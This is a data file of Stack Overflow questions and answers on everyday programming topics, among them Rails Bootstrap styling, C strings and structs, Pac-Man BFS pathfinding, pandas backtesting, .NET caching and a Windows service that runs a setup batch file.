28079643	0	Rails 4 Bootstrap partial styling <p>I've been having trouble integrating bootstrap-sass into any of my Rails 4 projects. So far i'm only getting partial rendering of the bootstrap assets. I've resorted to using using the railstutorial.org in my search for bootstrap functionality. I'm using the ch5 (listing 5.4) source code yielding the following results:</p> <p>The classes btn-lg, btn-primary, and navbar-right classes are working. The page yields buttons and a partially structured navbar with the links to the right. However, the navbar classes for the most part are not working. The navbar has no 'inverse' styling, the entire div is washed out with no text styling whatsoever.</p> <p>I've been using 'rake assets:precompile' and restarting the server after every update to the assets pipeline.</p> <p><em>Gemfile</em> contains the following above the 'jquery-rails' gem</p> <pre><code>gem 'rails', '4.2.0' gem 'bootstrap-sass', '~&gt; 3.3.3' gem 'sass-rails', '&gt;= 3.2' </code></pre> <p>custom.css.scss</p> <pre><code>@import "bootstrap-sprockets"; @import "bootstrap" </code></pre> <p><em>application.html.erb</em></p> <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;!DOCTYPE html&gt; &lt;html&gt; &lt;head&gt; &lt;title&gt;&lt;%= full_title(yield(:title)) %&gt;&lt;/title&gt; &lt;%= stylesheet_link_tag "application", :media =&gt; "all" %&gt; &lt;%= stylesheet_link_tag 'application', media: 'all', 'data-turbolinks-track' =&gt; true %&gt; &lt;%= javascript_include_tag 'application', 'data-turbolinks-track' =&gt; true %&gt; &lt;%= csrf_meta_tags %&gt; &lt;!--[if lt IE 9]&gt; &lt;script src="//cdnjs.cloudflare.com/ajax/libs/html5shiv/r29/html5.min.js"&gt; &lt;/script&gt; &lt;![endif]--&gt; &lt;/head&gt; &lt;body&gt; &lt;div class="navbar navbar-fixed-top navbar-inverse"&gt; &lt;div class="container"&gt; &lt;%= link_to "sample app", '#', id: "logo" %&gt; &lt;nav&gt; &lt;ul class="nav navbar-nav navbar-right"&gt; &lt;li&gt;&lt;%= link_to "Home", '#' %&gt;&lt;/li&gt; &lt;li&gt;&lt;%= link_to "Help", '#' %&gt;&lt;/li&gt; &lt;li&gt;&lt;%= link_to "Log in", '#' %&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/nav&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class="container"&gt; &lt;%= yield %&gt; &lt;/div&gt; &lt;/body&gt; &lt;/html&gt;</code></pre> </div> </div> </p> <p>Buttons in <em>home.hrml.erb</em></p> <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;% provide(:title, "Home") %&gt; &lt;div class="center jumbotron"&gt; &lt;h1&gt;Welcome to the Sample App&lt;/h1&gt; &lt;h2&gt; This is the home page for the &lt;a href="http://www.railstutorial.org/"&gt;Ruby on Rails Tutorial&lt;/a&gt; sample application. &lt;/h2&gt; &lt;%= link_to "Sign up now!", '#', class: "btn btn-lg btn-primary" %&gt; &lt;/div&gt; &lt;%= link_to image_tag("rails.png", alt: "Rails logo"), 'http://rubyonrails.org/' %&gt;</code></pre> </div> </div> </p>
11240753	0	 <p>I found the solution, use replaceFilters outside from object (after declaration).</p> <pre><code>myns.test.util = { myOne: function(m) { return m; }, myTwo: function(m) { return m; }, processAllFunction: function(m) { for(var i=0; i&lt;this.replaceFilters.length; i++) { if(typeof(this.replaceFilters[i])==='function') { m= this.replaceFilters[i](m); } } console.log(this.replaceFilters); return m; } }; myns.test.util.replaceFilters = [this.myOne, this.myTwo]; </code></pre> <p>with this method, I don't have problem with <code>this</code>.</p>
26172001	0	 <p>Many answers here discuss the potential overflow issues of using <code>scanf("%s", buf)</code>, but the latest POSIX specification more-or-less resolves this issue by providing an <code>m</code> assignment-allocation character that can be used in format specifiers for <code>c</code>, <code>s</code>, and <code>[</code> formats. This will allow <code>scanf</code> to allocate as much memory as necessary with <code>malloc</code> (so it must be freed later with <code>free</code>).</p> <p>An example of its use:</p> <pre><code>char *buf; scanf("%ms", &amp;buf); // with 'm', scanf expects a pointer to pointer to char. // use buf free(buf); </code></pre> <p>See <a href="http://pubs.opengroup.org/onlinepubs/9699919799/functions/fscanf.html" rel="nofollow">here</a>. Disadvantages to this approach is that it is a relatively recent addition to the POSIX specification and it is not specified in the C specification at all, so it remains rather unportable for now.</p>
5489994	0	 <p>Well, there are already some solutions here but, just because it was fun:</p> <pre><code>$values = array( '/www/htdocs/1/sites/lib/abcdedd', '/www/htdocs/1/sites/conf/xyz', '/www/htdocs/1/sites/conf/abc/def', '/www/htdocs/1/sites/htdocs/xyz', '/www/htdocs/1/sites/lib2/abcdedd' ); function findCommon($values){ $common = false; foreach($values as &amp;$p){ $p = explode('/', $p); if(!$common){ $common = $p; } else { $common = array_intersect_assoc($common, $p); } } return $common; } function removeCommon($values, $common){ foreach($values as &amp;$p){ $p = explode('/', $p); $p = array_diff_assoc($p, $common); $p = implode('/', $p); } return $values; } echo '&lt;pre&gt;'; print_r(removeCommon($values, findCommon($values))); echo '&lt;/pre&gt;'; </code></pre> <p>Output:</p> <pre><code>Array ( [0] =&gt; lib/abcdedd [1] =&gt; conf/xyz [2] =&gt; conf/abc/def [3] =&gt; htdocs/xyz [4] =&gt; lib2/abcdedd ) </code></pre>
9521225	0	How to suppress objective C analyser warning with categories <p>I'm using the static code analyser in objective C and I found that using categories to spread a big file in multiple files causes the following problem:</p> <pre><code>@interface TestClass : UIViewController @property (nonatomic, assign) UITableView* myTableView; @end @implementation TestClass @end @interface TestClass (someCategory) @end @implementation TestClass (someCategory) - (void) someMethod { // ... CGRect tableViewRect = CGRectMake( sectionRect.origin.x, sectionRect.origin.y + sectionRect.size.height + 1.0, sectionRect.size.width, tableViewHeight); myTableView = [[UITableView alloc] initWithFrame:(CGRect) tableViewRect style:(UITableViewStyle) UITableViewStylePlain]; [self.view addSubView: (UIView*) myTableView]; [myTableView release]; } @end </code></pre> <p>Problem # 1: Compiling TestClass(someCategory) gives me an error "use of undeclared identifier 'theArray'". -> Adding the prefix "self.myTableView" seems to fix the problem.</p> <p>Problem # 2: Once I have added the "self." prefix before "myTableView", the code analyser complains "incorrect decrement of the reference count of an object that is not owned at this point by the caller" ->I have seen this before in my code: easy to fix by removing the "self." prefix in other, non categorized classes.</p> <p>So I have a catch 22 situation! - I can't have a class category without prefixing the properties that I use with "self." - The code analyser gives me warnings because it does not seem to understand that my category owns an object that it allocates and frees.</p> <p>Fixing either of these two problems would work for me (a) finding a way to avoid specifying the ".self" prefix when referencing an attribute from my category implementation (b) finding a way to make the code analyser happy with the fact that I own "self.xxx" where "xxx" is a property of the class that I am categorizing.</p>
40208611	0	issue with creating a one dimensional array of structs in C <p>So the issue is for my project I have to pretty much create an inverse table page for my operating systems class. The TA wrote down some basic code to get started. To create the table, he said the table should be a struct that * includes metadata such as page size and the number of pages along the translation * table (that can be a 2-dimensional array, or a one-dimensional array of structs) so here is the code:</p> <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #define N 500 struct invTablePage{ invTablePage page[N]; }; struct table { int numOfPages; int pageSize; int array[struct invTablePage]; }; void initInverted(struct invTablePage **invTable, int memSize, int frameSize); int translate(struct invTablePage *invTable, int pid, int page, int offset); void releaseInverted(struct invTablePage **invTable); </code></pre> <p>however when i compile the code it gives me this</p> <pre><code>error: expected expression before ‘struct’ error: array type has incomplete element type struct invTablePage page[N]; </code></pre> <p>I have tried using size of but that doesnt work. Apparently int array[struct invTablePage] can be done but i dont understand how that even is supposed to work if it makes more sense trying to get the size of the struct. As far as array type has incomplete element error, i am not sure about that one if i already declared my struct of type invTablePage so it should be working. Any help would be appreciated</p>
36769578	0	 <p>We run in the same issue recently. The way to overcome this was to remove the Utility Project from the eclipse workspace, as dependecies were resolved via maven poms anyway.<br> After that, the client under <code>Java EE Tools &gt; Remove EJB Client</code> (and thus in <em>ejb.dd.clientjar</em>) was set correctly.<br> Probably some bug similar to this <a href="https://bugs.eclipse.org/bugs/show_bug.cgi?id=122274" rel="nofollow">https://bugs.eclipse.org/bugs/show_bug.cgi?id=122274</a>.</p>
10073563	0	 <p>As a basic starting point, this is a popular framework:</p> <p><a href="http://expressjs.com/" rel="nofollow">http://expressjs.com/</a></p> <p>Here you will find some links to example applications:</p> <p><a href="http://stackoverflow.com/questions/3823403/node-js-web-application-examples-tutorials">Node.js Web Application examples/tutorials</a></p> <p><a href="https://github.com/heroku/facebook-template-nodejs" rel="nofollow">https://github.com/heroku/facebook-template-nodejs</a></p> <p><a href="http://stackoverflow.com/questions/9114176/open-source-node-js-and-express-projects">Open Source Node.js (and Express) projects</a></p>
10461569	0	 <p>Add a CSS <code>white-space</code> property with value of <code>nowrap</code> to <code>.top_column1</code>.</p> <p>By the way, this can better be a 2-column table where the 1st column has a width of <code>100%</code> and the 2nd column contains those language buttons. Or just use a div and float the language buttons right.</p>
7726609	0	Create new node references for the node reference field <p>Is there a module besides <a href="http://drupal.org/project/noderefcreate" rel="nofollow">http://drupal.org/project/noderefcreate</a> that allows a full from to be popped up/embedded to create a new node reference from a node reference field?</p>
17185675	0	How to create divs with static size <p>I need some advices on how to create a website in a way that it will keep its size on every resolution.</p> <p>I've tried in many ways but I never made it work, and it's hard to understand responsive web design because I can't find it in my language. I just want some brief advices, and simple explanations about how to keep resolutions of content divs on different resolutions in CSS/HTML </p> <p><code><a href="http://jsfiddle.net/gW9vv/" rel="nofollow">Here's</a></code> what I've tried until now but it didn't work:</p> <p>There are just the codes without images, its just a way to see what I did wrong and what I should do.</p>
23315569	0	 <p>First, you need to know <em>What is a string in C?</em>. A string is an array of non-zero bytes (<code>char</code>), usually printable characters, which terminate in a null (zero, represented by the character <code>'\0'</code>).</p> <p>Then, you need to know how a <code>for</code> loop works:</p> <pre><code>for ( initial condition ; test condition ; loop expression ) { // some code } // Code after the loop </code></pre> <p>The <code>for</code> loop will:</p> <ol> <li>Execute <em>initial condition</em></li> <li>Execute <em>test condition</em> and, if it's TRUE (non-zero) will execute <em>some code</em>. Otherwise, if it's FALSE (zero) it will EXIT the loop and go to the <em>Code after the loop</em>.</li> <li>Execute <em>loop expression</em></li> <li>Go to 2</li> </ol> <p>With the basics out of the way, let's look at the function given by the teacher:</p> <pre><code>int length(char *word) { int i; for (i = 0; word[i] != '\0'; i++) { { } } return i; } </code></pre> <p>The meat of the function is the <code>for</code> loop: It then goes through the <code>for</code> loop steps:</p> <ol> <li>Initially, <code>i</code> is set to <code>0</code>. <code>i</code> represents the index into the string (array of <code>char</code>).</li> <li>Check if <code>word[i] != '\0'</code> (in other words, if this is TRUE, then it's not the end of the string). There's no code inside the loop to execute, so we go right to step 3.</li> <li>The <em>loop expression</em> is executed, which is incrementing <code>i</code>, the string (<code>char</code> array) index, meaning we are now pointing to the next character in the string.</li> </ol> <p>If your word is, "cat", then the array is <code>{ 'c', 'a', 't', '\0' }</code>. So the loop steps will do this:</p> <ol> <li>Set <code>i</code> to <code>0</code>.</li> <li>Check <code>word[0] != '\0'</code>, which checks <code>'c' != '\0'</code>. This is TRUE because <code>'c'</code> is NOT equal to <code>'\0'</code>.</li> <li>Take <code>i++</code> (increment <code>i</code>), so now <code>i</code> is <code>1</code>.</li> <li>Check <code>word[1] != '\0'</code>, which checks <code>'a' != '\0'</code>. This is TRUE because <code>'a'</code> is NOT equal to <code>'\0'</code>.</li> <li>Take <code>i++</code> (increment <code>i</code>), so now <code>i</code> is <code>2</code>.</li> <li>Check <code>word[2] != '\0'</code>, which checks <code>'t' != '\0'</code>. This is TRUE because <code>'t'</code> is NOT equal to <code>'\0'</code>.</li> <li>Take <code>i++</code> (increment <code>i</code>), so now <code>i</code> is <code>3</code>.</li> <li>Check <code>word[3] != '\0'</code>, which checks <code>'\0' != '\0'</code>. This is FALSE because <code>'\0'</code> is equal to <code>'\0'</code>.</li> <li>The loop ends now because the <em>test condition</em> has become FALSE.</li> </ol> <p>What's the value of <code>i</code> at the end of the loop? It's <code>3</code>, which is the length of the string because we kept stepping through the string, one character at a time, incrementing <code>i</code> from <code>0</code> until we hit the spot after the last character of the string, which is <code>'\0'</code>.</p> <p>The function then returns <code>i</code>, the length of the string.</p> <p>HTH</p>
1606965	0	SQL Server Replication <p>What is difference between 3 type of replication? Is replication suitable for data archiving? What is the replication steps?</p>
32648375	0	 <p>OK, I found a solution and I'll post it here to help others. <a href="http://www.tutorialforandroid.com/2010/11/drawing-with-canvas-in-android-saving.html" rel="nofollow">This is the link</a> that helped me, and this is the sample of code that I needed. (it was hard to find).</p> <pre><code> public void run() { Canvas canvas = null; while (_run){ try{ canvas = mSurfaceHolder.lockCanvas(null); if(mBitmap == null){ mBitmap = Bitmap.createBitmap (1, 1, Bitmap.Config.ARGB_8888);; } final Canvas c = new Canvas (mBitmap); c.drawColor(0, PorterDuff.Mode.CLEAR); commandManager.executeAll(c); canvas.drawBitmap (mBitmap, 0, 0,null); } finally { mSurfaceHolder.unlockCanvasAndPost(canvas); } } } </code></pre> <p>}</p>
34695860	0	BFS for pacman ghost <p>I've been several days with this problem. I've searched in this forum, and in google for a solution without any luck. My problem is I am not able to make a working BFS algorithm for managing the behaviour of a pacman ghost. I think I am ignoring something in the code. I'll paste the code here, if you can help me you'll be thanked :) pacman is number 2, and ghost is number 3.</p> <pre><code>Queue&lt;Tile&gt; path = new LinkedList&lt;&gt;(); Tile start = new Tile(canvas.g1.x, canvas.g1.y, 3); Tile end = new Tile(canvas.pacman.x, canvas.pacman.y, 2); start.distance = 1; path.add(start); while (!path.isEmpty()) { Tile current = path.remove(); System.out.println(path.size()); canvas.walls[current.y][current.x] = 0; if (canvas.walls[current.y][current.x] == canvas.walls[end.y][end.x]) { end = current; System.out.println("pacman found"); break; } ArrayList&lt;Tile&gt; list = adyacent(current); for (Tile c : list) { if (c.distance == 0) { c.distance = current.distance + 1; path.add(c); canvas.walls[c.y][c.x] = 20; for (Tile v : path) { System.out.println("x: " + v.x + " / y: " + v.y + " / distance: " + v.distance); } } } } int dist = end.distance; System.out.println("Recolection ended, size: " + dist); </code></pre> <p>The class Tile():</p> <pre><code>public class Tile { public int x; public int y; public int distance; public int personaje; public Tile(int x, int y, int personaje) { this.x = x; this.y = y; this.personaje = personaje; distance = 0; } } </code></pre> <p>and the method adyacent():</p> <p>in this method, the numbers I check are the ones with wall(each one with a diferent drawing))</p> <pre><code>public ArrayList&lt;Tile&gt; adyacent(Tile c) { ArrayList&lt;Tile&gt; surrounding = new ArrayList&lt;&gt;(); int ant; ant = canvas.walls[c.y][c.x + 1]; if ((ant != 7) &amp;&amp; (ant != 8) &amp;&amp; (ant != 9) &amp;&amp; (ant != 11) &amp;&amp; (ant != 12) &amp;&amp; (ant != 13) &amp;&amp; (ant != 14) &amp;&amp; (ant != 15) &amp;&amp; (ant != 16)) { surrounding.add(new Tile(c.x + 1, c.y, 3)); } ant = canvas.walls[c.y][c.x - 1]; if ((ant != 7) &amp;&amp; (ant != 8) &amp;&amp; (ant != 9) &amp;&amp; (ant != 11) &amp;&amp; (ant != 12) &amp;&amp; (ant != 13) &amp;&amp; (ant != 14) &amp;&amp; (ant != 15) &amp;&amp; (ant != 16)) { surrounding.add(new Tile(c.x - 1, c.y, 3)); } ant = canvas.walls[c.y + 1][c.x]; if ((ant != 7) &amp;&amp; (ant != 8) &amp;&amp; (ant != 9) &amp;&amp; (ant != 11) &amp;&amp; (ant != 12) &amp;&amp; (ant != 13) &amp;&amp; (ant != 14) &amp;&amp; (ant != 15) &amp;&amp; (ant != 16)) { surrounding.add(new Tile(c.x, c.y + 1, 3)); } ant = canvas.walls[c.y - 1][c.x]; if ((ant != 7) &amp;&amp; (ant != 8) &amp;&amp; (ant != 9) &amp;&amp; (ant != 11) &amp;&amp; (ant != 12) &amp;&amp; (ant != 13) &amp;&amp; (ant != 14) &amp;&amp; (ant != 15) &amp;&amp; (ant != 16)) { surrounding.add(new Tile(c.x, c.y - 1, 3)); } return surrounding; } </code></pre> <p>What I've observed is that it never reaches the System.out in which I return the size of the path. Also, where I see the size of the Queue, it seems right, but the System.out in which I see "x" and "y" and "distance" is bigger each time, much much bigger.</p> <p>I set that the checked tiles change it's color, changing the number which I've got in the array: 0 is floor, 20 is transparent green. And it remains in center, and beggins to work slower and slower.</p> <p>Forget to say that it never finds pacman :( thanks!</p>
2585871	0	 <p>More interesting questions are : </p> <ol> <li><p>under what conditions will Stop() be executed on a different processor than Start()?<br> .<br> In most application scenarios, the answer is "none". </p></li> <li><p>under what conditions will the clock speed of a processor change during a measured interval?<br> .<br> In CPU-intensive benchmarks, "none". </p></li> </ol>
2225392	0	 <p>This issue/topic is being discussed in depth at <a href="http://www.qcodo.com/forums/forum.php/3/4007/" rel="nofollow noreferrer">http://www.qcodo.com/forums/forum.php/3/4007/</a></p>
22179955	0	 <p>When you have signed 16-bit samples, you should use a signed 16-bit data type for your buffer:</p> <pre><code>typedef short int s16; s16 *buffer = malloc(size_in_bytes); </code></pre> <p>(You should use <code>SND_PCM_FORMAT_S16</code> to get the endianness correct.)</p> <p>In the buffer, every four values are one frame.</p> <pre><code>for (i = 0; i &lt; capture; i++) { ch1 = buffer[i * 4 + 0]; ch2 = buffer[i * 4 + 1]; ch3 = buffer[i * 4 + 2]; ch4 = buffer[i * 4 + 3]; // or use a loop over 0..3 ... } </code></pre> <p>Alternatively, if you want to access all the samples of one specific channel, go over the buffer in steps of four:</p> <pre><code>// for the first channel for (i = 0; i &lt; capture; i++) { sample = buffer[i * 4 + 0]; ... } </code></pre>
2424660	0	 <p>setAttribute is broken in IE7 and lower. </p> <p>Use</p> <pre><code>div.className = 'pano_img_cont' </code></pre> <p>instead.</p> <hr> <p>IE's implementation of setAttribute is effectively:</p> <pre><code>HTMLElement.prototype.setAttribute = function (attribute, value) { this[attribute] = value; } </code></pre> <p>… which is fine so long as the attribute name and the DOM property name are the same. <code>class</code>, however, is a reserved keyword in JS so the property is called <code>className</code> instead. This breaks in IE.</p> <p>If you set the property directly, it works everywhere.</p>
29575715	0	 <p>this is not jboss problem , if you want the better performance Use Load Balancer to divide threads between servers. </p>
31206901	0	 <p>You have used min-width: 969px on different secitons of this page layout. Header image is missing this min-width. Add it to .homeSlide .bcg</p>
38319476	0	 <p>Here are a couple of tricks I found. Credit goes to Codemanx for the original solution of</p> <blockquote> <pre><code>array.sort(function() { return 1; }) </code></pre> </blockquote> <p>In Typescript, this can be simplified to just one line</p> <pre><code>array.sort(() =&gt; 1) </code></pre> <p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code>var numbers = [1,4,9,13,16]; console.log(numbers.sort(() =&gt; 1));</code></pre> </div> </div> </p> <p>Since this will be the future of JavaScript, I thought I'd share that.</p> <p>Here's another trick if your array only has 2 elements</p> <pre><code>array.push(array.shift()); </code></pre>
5950061	0	 <pre><code>[NotMapped] public int ThreadsInBoard { get { ForumContextContainer ctx = new ForumContextContainer(); int thr = ctx.ThreadSet.Count(p =&gt; p.BoardID == this.BoardID); } } </code></pre> <p>assuming this class has the boardId property</p>
17778646	0	Hiding the RecognizerUI in Windows Phone 8 Apps <p>Is it possible to hide the RecognizerUI when using the Windows Phone 8 voice recognition?</p> <p>Basically, I want enable my app to start listening but to have the current page of my app still displayed. I would like my app to be listening all the time without the pop up.</p> <p>Is this at all possible?</p> <p>Thank you.</p>
37391061	0	 <p>What you are doing here is creating an anonymous method that calls each service in turn and then executes that method in a parallel task. What you need is a task array.</p> <pre><code>List&lt;Task&gt; taskList = new List&lt;Task&gt;(); Task task1= Task.Factory.StartNew(() =&gt; var List1 = client1.GetList1();); Task task2= Task.Factory.StartNew(() =&gt; var List2 = client1.GetList2();); // and so forth taskList.Add(task1); taskList.Add(task2); Task.WaitAll(taskList.ToArray()); </code></pre>
11493375	0	Windows Service to run batch file, InstallUtil /i prevents service from starting? <p>I have a simple Windows service that calls a batch file to setup some processes on startup. Most of the batch file is fired correctly but InstallUtil /i fails to run as the Windows Service fails to start. (InstallUtil /u beforehand works though which I find strange) Here's some code for the windows service and the batch file:</p> <pre><code>namespace RecipopStartupService { public partial class Service1 : ServiceBase { public Service1() { InitializeComponent(); } protected override void OnStart(string[] args) { ProcessBatchFile(); } public void ProcessBatchFile() { Process process = new Process(); process.StartInfo.WorkingDirectory = "C:\\Webs\\AWS\\"; process.StartInfo.FileName = "C:\\Webs\\AWS\\setup.bat"; process.StartInfo.Arguments = ""; process.StartInfo.Verb = "runas"; process.StartInfo.UseShellExecute = false; process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; process.StartInfo.CreateNoWindow = true; process.StartInfo.RedirectStandardOutput = false; process.Start(); System.IO.StreamReader myOutput = process.StandardOutput; process.WaitForExit(200000); if (process.HasExited) { string results = myOutput.ReadToEnd(); } } protected override void OnStop() { } } } </code></pre> <p>The batch file:</p> <pre><code>"C:\Program Files (x86)\Subversion\bin\SVN.exe" cleanup "C:\Webs\AWS\webs" "C:\Program Files (x86)\Subversion\bin\SVN.exe" cleanup "C:\Webs\AWS\apps" "C:\Program Files (x86)\Subversion\bin\SVN.exe" update "C:\Webs\AWS\webs" REM The following directory is for .NET 2.0 set DOTNETFX2=%SystemRoot%\Microsoft.NET\Framework\v4.0.30319 set PATH=%PATH%;%DOTNETFX2% echo Uninstalling MyService... echo --------------------------------------------------- InstallUtil /u "C:\Webs\AWS\apps\MyService.exe" echo --------------------------------------------------- echo Done. "C:\Program Files (x86)\Subversion\bin\SVN.exe" update "C:\Webs\AWS\apps" REM The following directory is for .NET 2.0 set DOTNETFX2=%SystemRoot%\Microsoft.NET\Framework\v4.0.30319 set PATH=%PATH%;%DOTNETFX2% echo Installing MyService... echo --------------------------------------------------- InstallUtil /i "C:\Webs\AWS\apps\MyService.exe" echo --------------------------------------------------- echo Done. NET START MyService </code></pre> <p>I've commented out various parts to determine what stops the service from starting. It's the InstallUtil /i section as I said previously.</p> <p>If someone could advise that'd be great.</p> <p>Thanks, Colin</p>
5703828	0	 <p>Just to add to the Matt Ball's comment and CommonsWare's answer in the other question:</p> <p>I realized that there are a phones out there which play the shutter sound on their own. In this case, it seems to not be possible to disable the shutter sound.</p>
24884399	1	How to perform a simple signal backtest in python pandas <p>I want to perform a simple and quick backtest in pandas by providing buy signals as DatetimeIndex to check against ohlc quotes DataFrame (adjusted close price) and am not sure if I am doing this right.</p> <p>To be clear I want to calculate the cummulated returns of all swapping buy signals (and stock returns as well?) over the whole holding period. After that I want to compare several calculations via a simple sharpe function. Is this the right way to test a buy singal quick and easy in pandas?</p> <p>Any help is very appreciated!</p> <p>signals:</p> <pre><code>In [216]: signal Out[216]: &lt;class 'pandas.tseries.index.DatetimeIndex'&gt; [2000-08-21, ..., 2013-07-09] Length: 21, Freq: None, Timezone: UTC </code></pre> <p>ohlc:</p> <pre><code>In [218]: df.head() Out[218]: open high low close volume amount Date 2000-01-14 00:00:00+00:00 6.64 6.64 6.06 6.08 74500 4.91 2000-01-17 00:00:00+00:00 6.30 6.54 6.25 6.40 45000 5.17 2000-01-18 00:00:00+00:00 7.56 8.75 7.51 8.75 250200 7.07 </code></pre> <p>backtest:</p> <pre><code>analysis = pd.DataFrame(index=df.index) #calculate returns of adjusted close price analysis["returns"] = df['amount'].pct_change() #set signal returns to quote returns where there is a signal DatetimeIndex and ffill analysis["signal"] = nan analysis["signal"][signal] = analysis["returns"][signal] analysis["signal"] = analysis["signal"].fillna(method="ffill") #calculation of signal returns trade_rets = analysis["signal"].shift(1)*analysis["returns"] </code></pre> <p>expected result (values of buy_returns are not correct):</p> <pre><code>Out[2]: returns buy_returns Date 2000-08-21 00:00:00+00:00 -0.153226 -0.076613 2001-02-12 00:00:00+00:00 0.000000 0.000000 2002-10-29 00:00:00+00:00 0.246155 0.030769 2003-02-12 00:00:00+00:00 0.231884 0.014493 2003-03-12 00:00:00+00:00 1.548386 0.048387 </code></pre> <p>My question really is how do I have to calculate a returns Series to represent the strength of a provided buy signal (True/ False Series or Datetimeindex) in pandas? </p>
26430204	0	 <p>There is a comment thread here: <a href="https://github.com/twbs/bootstrap/issues/2415" rel="nofollow">https://github.com/twbs/bootstrap/issues/2415</a> and NONE of the solutions work as smoothly as this.</p> <p><strong>SOURCE: <a href="http://timforsythe.com/blog/hashtabs/" rel="nofollow">http://timforsythe.com/blog/hashtabs/</a></strong></p> <h2>DEMO: <a href="https://jsbin.com/quvelo/2/" rel="nofollow">https://jsbin.com/quvelo/2/</a></h2> <p><em>This solution links to tabs outside, inside, and wherever you want with a regular url.</em></p> <pre><code> $(window).load(function() { // cache the id var navbox = $('.nav-tabs'); // activate tab on click navbox.on('click', 'a', function (e) { var $this = $(this); // prevent the Default behavior e.preventDefault(); // send the hash to the address bar window.location.hash = $this.attr('href'); // activate the clicked tab $this.tab('show'); }); // will show tab based on hash function refreshHash() { navbox.find('a[href="'+window.location.hash+'"]').tab('show'); } // show tab if hash changes in address bar $(window).bind('hashchange', refreshHash); // read has from address bar and show it if(window.location.hash) { // show tab on load refreshHash(); } }); </code></pre> <p>You put this js AFTER your bootstrap.js inside the functions where you call the tooltip or popover (for example). I have a bootstrap-initializations.js file loaded after bootstrap.min.js in my document.</p> <p><em>USAGE: The same as you would use to link to an anchor:</em></p> <pre><code>&lt;a href="mypage.html#tabID"&gt;Link&lt;/a&gt; </code></pre>
25321785	0	 <p>In your <code>for</code> loop, you created <code>var category</code> which is already a variable</p> <pre><code>$scope.browseCategories = function(category, moveTo) { //looping in order to create a new &lt;ul&gt; of children categories. var html = "&lt;ul class='unstyled'&gt;"; for (var I = 0; I &lt; category.Children.length; ++I) { var category = category.Children[I]; ^^^^^^^^ </code></pre> <p>Try renaming that and see.</p> <p>This might do whatever you are trying to achieve. Hope that helps.</p> <p>But when you're doing it in angular, the best practice is to avoid any other libraries like jQuery and try to achieve it in the angular way. Angular is so powerful.</p> <p>See this SO post: <a href="http://stackoverflow.com/questions/14994391/how-do-i-think-in-angularjs-if-i-have-a-jquery-background">How do I &quot;think in AngularJS&quot; if I have a jQuery background?</a></p>
16573325	0	 <p>You can implement both schemes cache expiration by using CacheEntryChangeMonitor. Insert a cache item without information with absolute expiration, then create a empty monitorChange with this item and link it with a second cache item, where you will actually save a slidingTimeOut information.</p> <pre><code> object data = new object(); string key = "UniqueIDOfDataObject"; //Insert empty cache item with absolute timeout string[] absKey = { "Absolute" + key }; MemoryCache.Default.Add("Absolute" + key, new object(), DateTimeOffset.Now.AddMinutes(10)); //Create a CacheEntryChangeMonitor link to absolute timeout cache item CacheEntryChangeMonitor monitor = MemoryCache.Default.CreateCacheEntryChangeMonitor(absKey); //Insert data cache item with sliding timeout using changeMonitors CacheItemPolicy itemPolicy = new CacheItemPolicy(); itemPolicy.ChangeMonitors.Add(monitor); itemPolicy.SlidingExpiration = new TimeSpan(0, 60, 0); MemoryCache.Default.Add(key, data, itemPolicy, null); </code></pre>
25455968	0	 <p>I use the following:</p> <pre><code>loadRData &lt;- function(fileName){ #loads an RData file, and returns it load(fileName) get(ls()[ls() != "fileName"]) } d &lt;- loadRData("~/blah/ricardo.RData") </code></pre>
25528716	0	 <p>Found an answer here: <a href="http://stackoverflow.com/questions/4237660/why-does-the-visual-studio-conversion-wizard-2010-create-a-massive-sdf-database">Why does the visual studio conversion wizard 2010 create a massive SDF database file?</a></p> <p>It turns out this is the code browser database, and I can delete it </p>
35978420	0	I keep getting an undefined method for a class <p>I've been searching and searching but I cannot find anything to help me with this. I am building an app that allows you to schedule a meeting in a room. The error I'm receiving is </p> <pre><code>undefined method 'room_id' for #&lt;Room:0x007fa25cc51128&gt; </code></pre> <p>Here is where the error is occuring in my <code>application.html.erb</code>:</p> <pre><code>&lt;li&gt;&lt;%= link_to "Schedule a Meeting", new_room_meeting_path(@user, @meeting, @room.room_id)%&gt;&lt;/li&gt; </code></pre> <p>Here is my meetings controller:</p> <pre><code>class MeetingsController &lt; ApplicationController before_action :authenticate_user! def new @meeting = Meeting.new @rooms = Room.all @room = Room.find(params[:room_id]) end def index @meetings = Meeting.all end def show @meeting = Meeting.find(params[:id]) @comments = @meeting.comments @room = Room.find(params[:id]) end def create @user = User.find(params[:user_id]) @meeting = @user.meetings.create(meeting_params) NotificationMailer.meeting_scheduled(@meeting).deliver_now if @meeting.save redirect_to root_path, flash: { notice: "Congratulations!!! Your meeting has been scheduled successfully!!!"} else render :new end end private def meeting_params params.require(:meeting).permit(:name, :start_time, :end_time, :user_id, :room_id) end end </code></pre> <p>Here is my Meeting model:</p> <pre><code>require 'twilio-ruby' class Meeting &lt; ActiveRecord::Base belongs_to :user belongs_to :room has_many :comments validates_presence_of :user_id, :room_id, :name def meeting_author_email user.try(:email) end def self.send_reminder_text_message(body, phone) @account_sid = ENV['twilio_account_sid'] @auth_token = ENV['twilio_auth_token'] @from_phone_number = ENV['twilio_phone_number'] @twilio_client = Twilio::REST::Client.new(@account_sid, @auth_token) @twilio_client.account.messages.create( to: phone, from: @from_phone_number, body: body ) end def start_timestamp (start_time - 6.hours).strftime('%b %e, %l:%M %p') end def end_timestamp (end_time - 6.hours).strftime('%b %e, %l:%M %p') end end </code></pre> <p>The correct URI is: <code>/rooms/:room_id/meetings/new(.:format)</code></p> <p>I don't know what the problem is and it is really frustrating me. Any help would be greatly appreciated. I've searched over and over and have been unable to resolve this.</p> <p>Thanks.</p>
3601004	0	 <pre><code>import re if re.search("string_1|string_2|string_n", var_strings): print True </code></pre> <p>The beauty of python regex it that it returns either a regex object (that gives informations on what matched) or None, that can be used as a "false" value in a test.</p>
